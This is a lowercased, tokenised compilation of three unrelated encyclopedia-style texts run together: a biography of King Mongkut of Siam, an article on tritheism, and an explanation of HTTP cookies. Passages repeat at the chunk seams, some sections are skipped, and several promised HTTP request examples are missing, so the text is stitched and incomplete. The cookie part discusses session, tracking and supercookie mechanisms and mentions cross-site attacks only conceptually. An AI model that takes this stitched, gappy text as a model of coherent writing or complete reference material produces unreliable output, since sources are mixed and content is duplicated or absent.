' s death. with the support of powerful nobility and the great power, britain, mongkut ' s ascension to the throne was ensured. after his twenty - seven years of pilgrimage, king mongkut ascended the throne in 1851, aged 47. he took the name phra chom klao, although foreigners continued to call him king mongkut. the king was well - known among the foreigners particularly some british officers, as a pro - british. sir james brooke, a british delegation, even praised him ' our own king ', and showed his support of him as a new king of siam. having been celibate for 27 years he now set about building the biggest royal family of the chakri dynasty. in the " inside " of the palace there was a veritable city of women — reports say three thousand or more. they were mostly servants, ' amazons ' for guards, officials, maids and so on, but mongkut acquired thirty - two wives and by the time he died, aged sixty - four, he had eighty - two children. his awareness of the threat from the british and french imperial powers, led him to institute many innovative activities. he ordered the nobility to wear shirts while attending his court ; this was to show that siam was no longer barbaric from the western point of view. however, mongkut ' s own astrological calculations pointed out that his brother, prince isaret, was as well favoured as himself to be the monarch. so, mongkut then crowned his brother as king pinklao, the second king. as a prince, pinklao was known for his abilities in foreign languages and relations. mongkut also raised his supporter dis bunnak to somdet chao phraya borom maha prayurawongse ( somdet chao phraya was the highest rank of nobility on a par with royalty ) and made him his regent kingdom - wide. mongkut also appointed dis bunnak ' s brother, tat, as somdet chao phraya borom maha pichaiyat, as his regent in bangkok. as the result, the administrative power of siam rested largely in the hands of the two bunnaks, dis and tat. upon his coronation, mongkut married his first wife, queen somanat. however, queen somanat died in the same year. he then married his half - grandniece, mom chao rampoe


dis and tat. upon his coronation, mongkut married his first wife, queen somanat. however, queen somanat died in the same year. he then married his half - grandniece, mom chao rampoei siriwongse, later queen debsirindra. shan campaigns the chakri dynasty | buddha yodfa chulaloke ( king rama i ) | buddha loetla nabhalai ( king rama ii ) ( king rama iii ) ( king rama iv ) ( king rama v ) ( king rama vi ) ( king rama vii ) ( king rama viii ) ( king rama ix ) in 1849, there were upheavals in the shan state of kengtung and chiang hung kingdom in response to weakened burmese influence. however, the two states then fought each other and chiang hung sought siamese support. nangklao saw this as an opportunity to gain control over shan states but he died in 1851 before this plan was realized. in 1852, chiang hung submitted the request again. mongkut sent siamese troops northwards but the armies were turned aside by the mountainous highlands. in 1855 the siamese marched again and reached kengtung – though with even greater difficulty. they laid siege on kengtung for 21 days. however, the resources of the siamese army ran out and the army had to retreat. cultural reforms introducing western geography accompanying the influx of western visitors to siam was the notion of a round earth. by many siamese, this was difficult to accept, particularly by religious standards, because buddhist scripture described earth as being flat. the traiphum, which was a geo - astrological map created before the arrival of westerners, described " … a path between two mountain ranges through which the stars, planets, moon and sun pass. " religious scholars usually concluded that buddhist scriptures " … were meant to be taken literally only when it came to matters of spiritual truth ; details of natural science are revealed figuratively and allegorically. " mongkut claimed to have abandoned the traiphum cosmology before 1836. he claimed that he already knew of the round state of earth 15 years before the arrival of american missionaries, but the debate about earth ' s shape remained an issue for siamese intellectuals throughout the 1800s. beginning in the early 1820s, two revolutions ( both initiated by mongkut during his monkhood ) were taking place. firstly, he fought for the people to embrace modern geography, among other sciences considered " western


siamese intellectuals throughout the 1800s. beginning in the early 1820s, two revolutions ( both initiated by mongkut during his monkhood ) were taking place. firstly, he fought for the people to embrace modern geography, among other sciences considered " western. " secondly he sought reform in buddhism and, as a result, a new sect was created in siamese theravada buddhism. both revolutions challenged the purity and validity of the buddhist order as it was practiced in siam at the time. a strong theme in mongkut ' s movement was that, " … true buddhism was supposed to refrain from worldly matters and confine itself to spiritual and moral affairs. " mongkut eventually came to power in 1851, as did his colleagues who had the same progressive mission. from that point on, siam was more quickly embracing modernization. social changes 1852 saw an influx of english and american missionaries into siam as mongkut hired them to teach the english language to the princess. he also hired western mercenaries to train siamese troops in western style. in bangkok, american dan beach bradley had already reformed the printing and then resumed the publishing of siam ' s first newspaper, the bangkok recorder. however, the missionaries were not as successful when it came to making religious conversions. however, mongkut did not abandon the traditional culture of siam. in 1852, he ordered the nobles of the court to wear upper garments. previously, siamese nobles were forbidden to wear any shirts to prevent them from hiding any weapons in it and met the king bare - chested. the practice was criticized by westerners and so mongkut ended it. for buddhism, mongkut pioneered the rehabilitation of various temples. he also began the magha puja ( ) festival in the full moon of the third lunar month, to celebrate buddha ' s announcement of his main principles. he instigated the recompilation of tripitaka in siam according to theravada traditions. he also formally established the thammayut sect as a rightful branch of theravada. mongkut also improved women ' s rights in siam. he released a large number of royal concubines to find their own husbands, in contrast to how his story has been dramatized. he banned forced marriages of all kinds and the selling of one ' s wife to pay off a debt. in contrast to the previous king, nangklao, mongkut didn ' t see the importance of sending envoys to the qing


he banned forced marriages of all kinds and the selling of one ' s wife to pay off a debt. in contrast to the previous king, nangklao, mongkut didn ' t see the importance of sending envoys to the qing dynasty court, as the mission symbolised siam ' s subjection to the qing emperors and because the qing dynasty was then not so powerful as it had once been, as it was itself threatened by western powers. the bowring treaty in 1854, john bowring, the governor of hong kong in the name of queen victoria of the united kingdom, came to siam to negotiate a treaty. for the first time siam had to deal seriously with international laws. prayurawongse negotiated on the behalf of the siamese. the result was the bowring treaty, which was regarded as an unequal treaty imposed by the british empire on siam. the main principle of the treaty was to abolish the royal storage ( ), which since ayutthaya ' s times held the monopoly on foreign trade. the royal storage had been the source of ayutthaya ' s prosperity as it collected immense taxation on foreign traders, including the taxation according to the width of the galleon and the tithe. western products had to go through a series of tax barriers to reach siamese people. the europeans had been attempting to undo this monopoly for a long time but no serious measures had been taken. for siamese people, trading with foreigners subjected them to severe punishment. the taxation was partially reduced in the burney treaty. however, in the world of liberalism of the nineteenth century, such unequal and government - interfered trade was disappearing. the abolition of such trade barriers replaced siamese commerce with free trade. import taxation was reduced to 3 % and could only be collected once. this, of course, was a blow on the national revenue. however, this led to dramatic growth of commercial sectors as common people gained access to foreign trade. never before in siam could agricultural products be for sale and exports rather than subsistence farming ( before bowring, those who traded rice with foreigners would be executed for treason ). people rushed to acquire vast, previously empty fields to grow rice and the competition eventually resulted in the lands ending up in the hands of nobility. the bowring treaty also had a legal impact. due to the horror of the nakorn bala methods of torture in judicial proceedings, the british chose not to be tried under the siamese system, securing a grant of extraterritoriality ; british subjects in


between slaves and free persons. slavery in thailand was sometimes a voluntary alternative for individuals to be rid of social and financial obligations. one could be punished for torturing slaves in siam and some slaves could buy their freedom. western scholars and observers have commented that siamese slaves were treated better than english servants. death and legacy the solar eclipse at wakor during his monkhood, mongkut studied both indigenous astrology and english texts on western astronomy and mathematics, hence developing his skills in astronomical measurement. one way that he honed his mastery of astronomy, aside from the accurate prediction of the wakor solar eclipse, was changing the official buddhist calendar, " which was seriously miscalculated and the times for auspicious moments were incorrect. " in 1868, he invited high - ranking european and siamese officials to accompany him to wakor village in prachuap khiri khan province, south of hua hin, where the solar eclipse that was to occur on 18 august could be best viewed as a total eclipse. sir harry ord, the british governor of straits settlements from singapore, was among those who were invited. king mongkut predicted the solar eclipse, at ( in his own words ) " east greenwich longitude 99 degrees 42 ' and latitude north 11 degrees 39 '. " king mongkut ' s calculations proved accurate. when he made calculations on the wakor solar eclipse that was to occur, he used the thai system of measuring time ( mong and baht ), but he implemented the western method of longitude and latitude when he determined where on earth the eclipse would best be viewed. upon returning from his journey to wakor, he condemned the court astrologers " for their [ … ] stupid statements because of their negligence of his detailed prediction and their inattention to measurement and calculation by modern instruments. " it has been argued that the assimilation of western geography and astronomy into 19th century siam " proved that siam equaled the west in terms of knowledge, and therefore the imperialists ' claim that siam was uncivilized and had to be colonized was unreasonable. " this suggests that the western form of these sciences may have saved siam from actually being colonized by western powers. education reform as the king of siam, mongkut urged his royal relatives to have " a european - style education. " the missionaries, as teachers, taught modern geography and astronomy, among other subjects. six years after mongkut ' s death, the first thai geography book was published in 1874, called


royal relatives to have " a european - style education. " the missionaries, as teachers, taught modern geography and astronomy, among other subjects. six years after mongkut ' s death, the first thai geography book was published in 1874, called phumanithet by j. w. van dyke. however, geography was only taught in some schools, mainly those that were run by american missionaries with english programs for upper secondary students. thongchai winichakul argues that mongkut ' s efforts to popularize western geography helped bring reform to education in siam. elephant story contrary to popular belief, king mongkut did not offer a herd of war elephants to the us president abraham lincoln during the american civil war for use against the confederacy. he did, however, offer to send some domesticated elephants to us president james buchanan, to use as beasts of burden and means of transportation. the royal letter of 14 february 1861, which was written even before the civil war started, took some time to arrive in washington dc, and by the time it reached its destination, president buchanan was not in office any longer. ( text of the royal letter here. ) lincoln, who succeeded buchanan, is said to have been asked what the elephants could be used for, and in reply he said that he did not know, unless " they were used to stamp out the rebellion. " however, in his replying letter dated 3 february 1862 lincoln did not mention anything about the civil war. the president merely politely declined to accept king mongkut ' s proposal, explaining to the king that the american climate might not be suitable for elephants and that american steam engines could also be used as beasts of burden and means of transportation. a century later, during his state visit to the us, king bhumibol of thailand, who is mongkut ' s great - grandson, referred to this event in his address before the us congress on 29 june 1960. he said, " my great - grandfather offered to send the president and congress elephants to be turned loose in the uncultivated land of america for breeding purposes. that offer was made with no other objective than to provide a friend with what he lacks, in the same spirit in which the american aid program is likewise offered. " titles and styles - 1804 – 1824 : his royal highness prince mongkutsommutiwong phong - isuankrasat khattiyaratchakuman - 1824 - 1851 : vajiranano ( as a monk )


titles and styles - 1804 – 1824 : his royal highness prince mongkutsommutiwong phong - isuankrasat khattiyaratchakuman - 1824 - 1851 : vajiranano ( as a monk ) - 1851 - 1868 : his majesty king mongkute | ancestors of mongkut | - ' king ' s ears won ' t hear songs from " king and i " ', washington post ( 28 june 1960 ), pg. c1. - marguerite higgins, ' siam king found shy and welfare - minded ', washington post ( 30 august 1951 ), pg. b11. - lawrence meyer, ' court and " the king " ', washington post ( 21 november 1972 ), pg. b2. - landon v. twentieth century - fox film corp., 384 f. supp. 450 ( s. d. n. y. 1974 ), in donald e. biederman, edward p. pierson, martin e. silfen, janna glasser, law and business of the entertainment industries, 5th edition ( westport, connecticut : greenwood, 2006 ), pp. 349 – 356. - ' thailand bans " anna and the king " ', asian economic news ( 3 january 2000 ). accessed 29 august 2008. - bruce, robert ( 1969 ). " king mongkut of siam and his treaty with britain " ( pdf ). journal of the royal asiatic society hong kong branch. the university of hong kong libraries vol. 9. retrieved 2011 - 06 - 27. - tarling, nicholas. the cambridge history of southeast asia vol. 1 part 1, 1999. p. 44. - accordingly, the hollywood depiction of the bare - chested kralahome ( prime minister ) in anna and the king of siam ( 1946 ) and yul brynner ' s shirtless king mongkut in the king and i ( 1956 ) are not only historically inaccurate, but considered by thais to be offensive to the memory of the reformist monarch. - suarez, thomas. early mapping of southeast asia : the epic story of seafarers, adventurers, and cartographers who first mapped the regions between china and india. singapore : periplus editions ( hk ) ltd. ( 1999 ). web. pg. 25 - winichakul 1997, p. 37 - winichakul 1997, p. 38 - winichakul 1997, p. 39 - winichakul 1997


( hk ) ltd. ( 1999 ). web. pg. 25 - winichakul 1997, p. 37 - winichakul 1997, p. 38 - winichakul 1997, p. 39 - winichakul 1997, p. 40 - http : / / library. albany. edu / speccoll / findaids / apap063. htm # history abbot low moffat - http : / / www. loc. gov / rr / asian / guide / guide - southeast. html ( southeast asian collection, asian division, library of congress ) - rodriguez, junius p. ( 1997 ). the historical encyclopedia of world slavery ( 2nd print. ed. ). santa barbara, calif. : abc - clio. p. 631. isbn 9780874368857. - " slavery in nineteenth century northern thailand : archival anecdotes and village voices ". kyoto review. 2006. - winichakul 1997, p. 42 - winichakul 1997, p. 43 - winichakul 1997, p. 46 - nasa : solar eclipses of historical interest - winichakul 1997, p. 45 - winichakul 1997, p. 47 - winichakul 1997, p. 57 - winichakul 1997, p. 48 - " nontraditional animals for use by the american military – elephants ". newsletter. historybuff. com. june 2011. archived from the original on 2012 - 05 - 29. retrieved may 29, 2012. " both original letters still exist today in archives. " | wikimedia commons has media related to : king mongkut | - abbot low moffat, mongkhut, the king of siam, cornell u. p. 1961 - constance marilyn wilson, state and society in the reign of king mongkut, 1851 – 1868 : thailand on the eve of modernization, ph. d. thesis, cornell 1970, university microfilms. - b. j. terwiel, a history of modern thailand 1767 – 1942, university of queensland press, australia 1983. this contains some anecdotes not included in the other references. - stephen white, john thomson : a window to the orient, university of new mexico press, united states. thomson was a photographer and this book contains his pictures some of which provided the basis for the engravings ( sometimes misidentified ) in anna leonowens ' books. there is reference


| | this article needs additional citations for verification. ( july 2009 ) | | | this article is in a list format that may be better presented using prose. ( december 2012 ) | tritheism is the belief that cosmic divinity is composed of three equally powerful entities. as generally conceived, three gods are envisioned as having separate domains and spheres of influence that coalesce into an omnipotent whole. in this primary respect, tritheism differs from cosmic dualism, which oftentimes posits two divine powers working in theologic or spiritual opposition. most christian denominations do not hold the universe as spiritually tritheistic, although some nontrinitarian denominations stray slightly from pure monotheism and the duality between god and satan. the term has been sporadically used to spearhead heresy accusations, especially when employed against christian sects promoting allegedly anathema conceptions of the trinity. monistic tritheism the hindu trinity of brahma the creator, vishnu the preserver and shiva the destroyer have been held to constitute a tritheistic belief system. like the christian trinity, these entities are understood to interact harmoniously. however, this hindu trinity is not conceived in a firmly doctrinal sense, but is rather posited as one of the ways in which the divine order of the universe can be understood. ultimately, the universal spirit, the param - atman, the brahman ( not to be confused with brahmin, a social class / caste ), or bhagvan is held to reign supreme as a singular entity. monotheistic tritheism muslims, jews, unitarians and other nontrinitarians claim that the orthodox trinitarian christian doctrine of the holy trinity of father, son and holy spirit constitutes tritheism, since these distinct " persons " are unified only by an impersonal substance ousia which does not transcend, or exist apart from, the persons. proponents of trinitarianism claim that the three persons of the trinity do not have separate powers, since they are omnipotent, and do not have separate spheres of influence, since their sphere of influence is unlimited. they argue that the persons of the trinity have one divine essence and are indivisible, whereas tritheism appears to suggest three separate gods. athanasius already attempted to distinguish trinitarianism from tritheism and modalism. historical uses of the term in christianity the following tritheistic tendencies have been condemned as heretical by mainstream theology. at


to suggest three separate gods. athanasius already attempted to distinguish trinitarianism from tritheism and modalism. historical uses of the term in christianity the following tritheistic tendencies have been condemned as heretical by mainstream theology. at various times in the history of christianity, various theologians were accused by the church of tritheism, which the church treated as heresy. - those who are usually meant by the name were a section of the monophysites, who had great influence in the second half of the sixth century, but have left no traces save a few scanty notices in john of ephesus, photius, leontius etc. their founder is said to be a certain john ascunages, head of a sophist school at antioch. the principal writer was john philoponus, the great aristotelian commentator ; the leaders were two bishops, conon of tarsus and eugenius of seleucia in isauria, who were deposed by their comprovincials and took refuge at constantinople where they found a powerful convert and protector in athanasius the monk, a grandson of the empress theodora. philoponus dedicated to him a book on the trinity. the old philosopher pleaded his infirmities when he was summoned by the emperor justinian to the court to give an account of his teaching. but conon and eugenius had to dispute in the reign of justin ii ( 565 - 78 ) in the presence of the catholic patriarch john scholasticus ( 565 - 77 ), with two champions of the moderate monophysite party, stephen and paul, the latter afterward patriarch of antioch. the tritheist bishops refused to anathematize philoponus, and brought proofs that he agreed with severus and theodosius. they were banished to palestine, and philoponus wrote a book against john scholasticus, who had given his verdict in favour of his adversaries. but he developed a theory of his own as to the resurrection ( see eutychianism ) on account of which conon and eugenius wrote a treatise against him in collaboration with themistus, the founder of the agnoctae, in which they declared his views to be altogether unchristian. these two bishops and a deprived bishop named theonas proceeded to consecrate bishops for their sect, which they established in corinth and athens, rome, northern africa and the western patriarchate, while in the east agents traveled through syria and


these two bishops and a deprived bishop named theonas proceeded to consecrate bishops for their sect, which they established in corinth and athens, rome, northern africa and the western patriarchate, while in the east agents traveled through syria and cilicia, isauria and cappadocia, converting whole districts and ordaining priests and deacons in cities villages and monasteries. eugenius died in pamphylia ; conon returned to constantinople. leontius assures that the aristotelianism of philoponus made him teach that there are in the holy trinity three partial substances ( merikai ousiai, ikikai theotetes, idiai physeis ) and one common. the genesis of the doctrine has been explained ( for the first time ) under monophysites, where an account of philoponus ' s writings and those of stephen gobarus, another member of the sect, will be found. - john philoponus, an aristotelian and monophysite in alexandria about the middle of the sixth century, was charged with tritheism because he saw in the trinity as separated three natures, substances and deities, according to the number of divine persons. he sought to justify this view by the aristotelian categories of genus, species and individuum. - in the middle ages, roscellin of compiegne, the founder of nominalism, who argued like philoponus that unless the three persons are tres res ( 3 minds ), the whole trinity must have been incarnate, was refuted by st. anselm. - among catholic writers, pierre faydit, who was expelled from the oratory at paris in 1671 for disobedience and died in 1709, practiced a form of tritheism in his eclaireissements sur la doctrine et phistoire ecclesiastiqes des deux premiers siecles ( paris, 1696 ), in which he tried to make out that the earliest fathers were tritheists. he was replied to by the premonstratensian abbot louis - charles hugo ( apologie du systeme des saints peres sur la trinite, luxemburg, 1699 ). - a prominent ideologue of russian old believers and a writer, avvakum ( died 1682 ) was accused by official orthodox church and by fellow old believers in tritheism, based on some passages in his letters. - a catholic


. - a prominent ideologue of russian old believers and a writer, avvakum ( died 1682 ) was accused by official orthodox church and by fellow old believers in tritheism, based on some passages in his letters. - a catholic canon of trier named oembs, influenced by the doctrines of the " enlightenment ", similarly attributed to the fathers his own view of three similar natures in the trinity, calling the numerical unity of god an invention of the scholastics. his book opuscula de deo uno et trino ( mainz, 1789 ), was condemned by pius vii in a brief of 14 july 1804. - the bohemian jesuit philosopher anton gunther was also accused of tritheism, leading to his work ending up on the index librorum. - among protestants, heinrich nicolai ( d. 1660 ), a professor at dantzig and at elbing ( not to be confounded with the founder of the familisten ), is cited. - the best known in the anglican church is william sherlock, dean of st. paul ' s, whose vindication of the doctrine of the holy and ever blessed trinity ( london, 1690 ) against the socinians, maintaining that with the exception of a mutual consciousness of each other, which no created spirits can have, the three divine persons are " three distinct infinite minds " or " three intelligent beings. ", was attacked by robert south in animadversions on dr. sherlock ' s vindication ( 1693 ). sherlock ' s work is said to have made william manning a socinian and thomas emlyn an arian, and the dispute was ridiculed in a skit entitled " the battle royal ", attributed to william pittis ( 1694? ), which was translated into latin at cambridge. - joseph bingham, author of the " antiquities ", preached at oxford in 1695 a sermon which was considered to represent the fathers as tritheists, and it was condemned by the hebdomadal council as falsa, impia et haeretica, the scholar being driven from oxford. - some critics [ who? ] of mormonism claim mormonism is tritheistic or polytheistic, by the standard of the trinitarianism of the ecumenical and catholic tradition, because it teaches that the godhead is a council of three distinct deities perfectly one in purpose, unity and mission, but nevertheless separate and distinct individuals. this belief of god the father, god the son and god the holy ghost being physically distinct


tradition, because it teaches that the godhead is a council of three distinct deities perfectly one in purpose, unity and mission, but nevertheless separate and distinct individuals. this belief of god the father, god the son and god the holy ghost being physically distinct beings is in contrast to most denominations of christianity which derive their beliefs of the relationship of the father, the son and the holy ghost from creeds, such as the nicean creed, and early catholic tradition. early creeds and traditions of the catholic church teach that god the father, jesus christ and the holy ghost as three " manifestations " of the same being. mormons, more appropriately referred to as members of the church of jesus christ of latter - day saints, draw their understanding of the godhead primarily from the first vision of joseph smith, jr., who claimed to have actually seen god the father and jesus christ and recounted seeing " two personages, " one of which referred to the other as his " beloved son. " mormons also cite biblical script to support their position that god the father, jesus christ and the holy ghost are actually three distinct beings. see,,,,,. - some have suggested that the seventh - day adventist church has embraced a trithiestic view of the father, son, and holy spirit as it does not see their singularity as a godhead consisting in one being but rather as three separate beings in a single group. - chapman, john ( 1912 ). " tritheists ". the catholic encyclopedia. new york : robert appleton company ( public domain ). retrieved october 17, 2012.


a cookie, also known as an http cookie, web cookie, or browser cookie, is a small piece of data sent from a website and stored in a user ' s web browser while a user is browsing a website. when the user browses the same website in the future, the data stored in the cookie can be retrieved by the website to notify the website of the user ' s previous activity. cookies were designed to be a reliable mechanism for websites to remember the state of the website or activity the user had taken in the past. this can include clicking particular buttons, logging in, or a record of which pages were visited by the user even months or years ago. although cookies cannot carry viruses, and cannot install malware on the host computer, tracking cookies and especially third - party tracking cookies are commonly used as ways to compile long - term records of individuals ' browsing histories — a major privacy concern that prompted european and us law makers to take action in 2011. cookies can also store passwords and forms a user has previously entered, such as a credit card number or an address. when a user accesses a web site with a cookie function for the first time, a cookie is sent from server to the browser and stored with the browser in the local computer. later when that user goes back to the same website, the website will recognize the user because of the stored cookie with the user ' s information. other kinds of cookies perform essential functions in the modern web. perhaps most importantly, authentication cookies are the most common method used by web servers to know whether the user is logged in or not, and which account they are logged in under. without such a mechanism, the site would not know whether to send a page containing sensitive information, or require the user to authenticate himself by logging in. the security of an authentication cookie generally depends on the security of the issuing website and the user ' s web browser, and on whether the cookie data is encrypted. security vulnerabilities may allow a cookie ' s data to be read by a hacker, used to gain access to user data, or used to gain access ( with the user ' s credentials ) to the website to which the cookie belongs ( see cross - site scripting and cross - site request forgery for examples ). the term " cookie " was derived from " magic cookie ", which is the packet of data a program receives and sends again unchanged. magic cookies were already used in computing when computer programmer lou montulli had the idea of using them


examples ). the term " cookie " was derived from " magic cookie ", which is the packet of data a program receives and sends again unchanged. magic cookies were already used in computing when computer programmer lou montulli had the idea of using them in web communications in june 1994. at the time, he was an employee of netscape communications, which was developing the e - commerce application " mci mall " for mci. vint cerf and john klensin represented mci in technical discussions with netscape communications. not wanting the mci mall servers to have to retain partial transaction states led to mci ' s request to netscape to find a way to store that state in each user ' s computer. cookies provided a solution to the problem of reliably implementing a virtual shopping cart. the introduction of cookies was not widely known to the public at the time. in particular, cookies were accepted by default, and users were not notified of the presence of cookies. the general public learned about them after the financial times published an article about them on february 12, 1996. in the same year, cookies received a lot of media attention, especially because of potential privacy implications. cookies were discussed in two u. s. federal trade commission hearings in 1996 and 1997. the development of the formal cookie specifications was already ongoing. in particular, the first discussions about a formal specification started in april 1995 on the www - talk mailing list. a special working group within the ietf was formed. two alternative proposals for introducing state in http transactions had been proposed by brian behlendorf and david kristol respectively, but the group, headed by kristol himself and aron afatsuom, soon decided to use the netscape specification as a starting point. in february 1996, the working group identified third - party cookies as a considerable privacy threat. the specification produced by the group was eventually published as rfc 2109 in february 1997. it specifies that third - party cookies were either not allowed at all, or at least not enabled by default. at this time, advertising companies were already using third - party cookies. the recommendation about third - party cookies of rfc 2109 was not followed by netscape and internet explorer. rfc 2109 was superseded by rfc 2965 in october 2000. a definitive specification for cookies as used in the real world was published as rfc 6265 in april 2011. | | this section needs additional citations for verification. ( august 2011 ) | a user ' s session cookie ( also known as an in -


. a definitive specification for cookies as used in the real world was published as rfc 6265 in april 2011. | | this section needs additional citations for verification. ( august 2011 ) | a user ' s session cookie ( also known as an in - memory cookie or transient cookie ) for a website exists in temporary memory only while the user is reading and navigating the website. when an expiry date or validity interval is not set at cookie creation time, a session cookie is created. web browsers normally delete session cookies when the user closes the browser. a persistent cookie will outlast user sessions. if a persistent cookie has its max - age set to 1 year, then, within the year, the initial value set in that cookie would be sent back to the server every time the user visited the server. this could be used to record a vital piece of information such as how the user initially came to this website. for this reason persistent cookies are also called tracking cookies. a secure cookie has the secure attribute enabled and is only used via https, ensuring that the cookie is always encrypted when transmitting from client to server. this makes the cookie less likely to be exposed to cookie theft via eavesdropping. first - party cookies are cookies set with the same domain ( or its subdomain ) as your browser ' s address bar. third - party cookies are cookies set with domains different from the one shown on the address bar. the web pages on the first domain may feature content from a third - party domain, e. g. a banner advert run by www. advexample. com. privacy setting options in most modern browsers allow you to block third - party tracking cookies. as an example, suppose a user visits www. example1. com, which includes an advert which sets a cookie with the domain ad. foxytracking. com. when the user later visits www. example2. com, another advert can set another cookie with the domain ad. foxytracking. com. eventually, both of these cookies will be sent to the advertiser when loading their ads or visiting their website. the advertiser can then use these cookies to build up a browsing history of the user across all the websites this advertiser has footprints on. a " supercookie " is a cookie with an origin of a top - level domain ( tld ) or an effective top - level domain. some domains that are considered, " top - level " may


advertiser has footprints on. a " supercookie " is a cookie with an origin of a top - level domain ( tld ) or an effective top - level domain. some domains that are considered, " top - level " may in fact be a secondary or lower - level domain. for example, k12. ca. us are considered top - level even though they are multiple levels deep. these domains are referred to as public suffixes and are not open for reservation by end - users. most browsers, by default, allow first - party cookies — a cookie with domain to be the same or sub - domain of the requesting host. for example, a user visiting www. example. com can have a cookie set with domain. example. com. a so - called " supercookie " is a cookie originating from a public suffix or top - level domain such as,. com. it is important that these cookies are blocked by browsers otherwise, an attacker in control of malicious website with domain. com could set a " supercookie " and potentially disrupt or impersonate legitimate user requests to example. com. thus taking advantage of the fact that. com can set valid cookies for sub - domain the public suffix list is a cross - vendor initiative to provide an accurate list of domain name suffixes changing. older versions of browsers may not have the most up - to - date list, and will therefore be vulnerable to supercookies from certain domains. the term " supercookie " is sometimes used for tracking technologies that do not rely on http cookies. two such " supercookie " mechanisms were found on microsoft websites : cookie syncing that respawned muid cookies, and etag cookies. due to media attention, microsoft later disabled this code : in response to recent attention on " supercookies " in the media, we wanted to share more detail on the immediate action we took to address this issue, as well as affirm our commitment to the privacy of our customers. according to researchers, including jonathan mayer at stanford university, " supercookies " are capable of re - creating users ' cookies or other identifiers after people deleted regular cookies. mr. mayer identified microsoft as one among others that had this code, and when he brought his findings to our attention we promptly investigated. we determined that the cookie behavior he observed was occurring under certain circumstances as a result of older code that was used only on our own sites, and was already scheduled to


had this code, and when he brought his findings to our attention we promptly investigated. we determined that the cookie behavior he observed was occurring under certain circumstances as a result of older code that was used only on our own sites, and was already scheduled to be discontinued. we accelerated this process and quickly disabled this code. at no time did this functionality cause microsoft cookie identifiers or data associated with those identifiers to be shared outside of microsoft. — mike hintze some cookies are automatically recreated after a user has deleted them ; these are called zombie cookies. this is accomplished by a script storing the content of the cookie in some other locations, such as the local storage available to flash content, html5 storages and other client side mechanisms, and then recreating the cookie from backup stores when the cookie ' s absence is detected. 1. name of the cookie 2. value of the cookie 3. the expiry of the cookie ( using greenwich mean time ) 4. the path the cookie is good for 5. the domain the cookie is good for 6. the need for a secure connection to use the cookie only the first two parameters are required for the successful operation of the cookie. session management cookies may be used to maintain data related to the user during navigation, possibly across multiple visits. cookies were introduced to provide a way to implement a " shopping cart " ( or " shopping basket " ), a virtual device into which users can store items they want to purchase as they navigate throughout the site. shopping basket applications today usually store the list of basket contents in a database on the server side, rather than storing basket items in the cookie itself. a web server typically sends a cookie containing a unique session identifier. the web browser will send back that session identifier with each subsequent request and shopping basket items are stored associated with a unique session identifier. cookies provide a quick and convenient means of client / server interaction. one of the advantages of cookies lies in the fact that they store the user information locally while identifying users simply based on cookie matching. the server ' s storage and retrieval load is greatly reduced. as a matter of fact, the possibility of applications is endless - anytime personal data need to be saved they can be saved as a cookie ( kington, 1997 ). cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. for example a web server may send a cookie containing the username last used to log into a website so that it may


cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. for example a web server may send a cookie containing the username last used to log into a website so that it may be filled in for future visits. tracking cookies may be used to track internet users ' web browsing. this can also be done in part by using the ip address of the computer requesting the page or the referrer field of the http request header, but cookies allow for greater precision. this can be demonstrated as follows : - if the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user ; the server creates a random string and sends it as a cookie back to the browser together with the requested page ; - from this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested ; the server sends the page as usual, but also stores the url of the requested page, the date / time of the request, and the cookie in a log file. by analyzing the log file collected in the process, it is then possible to find out which pages the user has visited, in what sequence, and for how long. cookie specifications suggest that browsers should be able to save and send back a minimal number of cookies. in particular, a web browser is expected to be able to store at least 300 cookies of four kilobytes each, and at least 20 cookies per server or domain. transfer of web pages follows the hypertext transfer protocol ( http ). regardless of cookies, browsers request a page from web servers by sending them a usually short text called http request. for example, to access the page http : / / www. example. org / index. html, browsers connect to the server www. example. org sending it a request that looks like the following one : the server replies by sending the requested page preceded by a similar packet of text, called ' http response '. this packet may contain lines requesting the browser to store cookies : the server sends lines of set - cookie only if the server wishes the browser to store cookies. set - cookie is a directive for the browser to store the cookie and send it back in future requests to the server ( subject to expiration time or other cookie attributes ), if the browser supports cookies and cookies are enabled. for example, the browser requests the page http : / /


the browser to store the cookie and send it back in future requests to the server ( subject to expiration time or other cookie attributes ), if the browser supports cookies and cookies are enabled. for example, the browser requests the page http : / / www. example. org / spec. html by sending the server www. example. org a request like the following : this is a request for another page from the same server, and differs from the first one above because it contains the string that the server has previously sent to the browser. this way, the server knows that this request is related to the previous one. the server answers by sending the requested page, possibly adding other cookies as well. the value of a cookie can be modified by the server by sending a new set - cookie : name = newvalue line in response of a page request. the browser then replaces the old value with the new one. the value of a cookie may consist of any printable ascii character ( ; and excluding whitespace. the name of the cookie also excludes = as that is the delimiter between the name and value. the cookie standard rfc2965 is more limiting but not implemented by browsers. the term " cookie crumb " is sometimes used to refer to the name - value pair. this is not the same as breadcrumb web navigation, which is the technique of showing in each page the list of pages the user has previously visited ; this technique, however, may be implemented using cookies. document. cookie is used for this purpose. for example, the instruction document. cookie = " temperature = 20 " creates a cookie of name temperature and value cookie attributes besides the name – value pair, servers can also set these cookie attributes : a cookie domain, a path, expiration time or maximum age, secure flag and httponly flag. browsers will not send cookie attributes back to the server. they will only send the cookie ’ s name - value pair. cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie ( name - value pair ) to the servers. domain and path the cookie domain and path define the scope of the cookie — they tell the browser that cookies should only be sent back to the server for the given domain and path. if not specified, they default to the domain and path of the object that was requested. an example of set - cookie directives from a website after a user logged in : the first cookie lsid


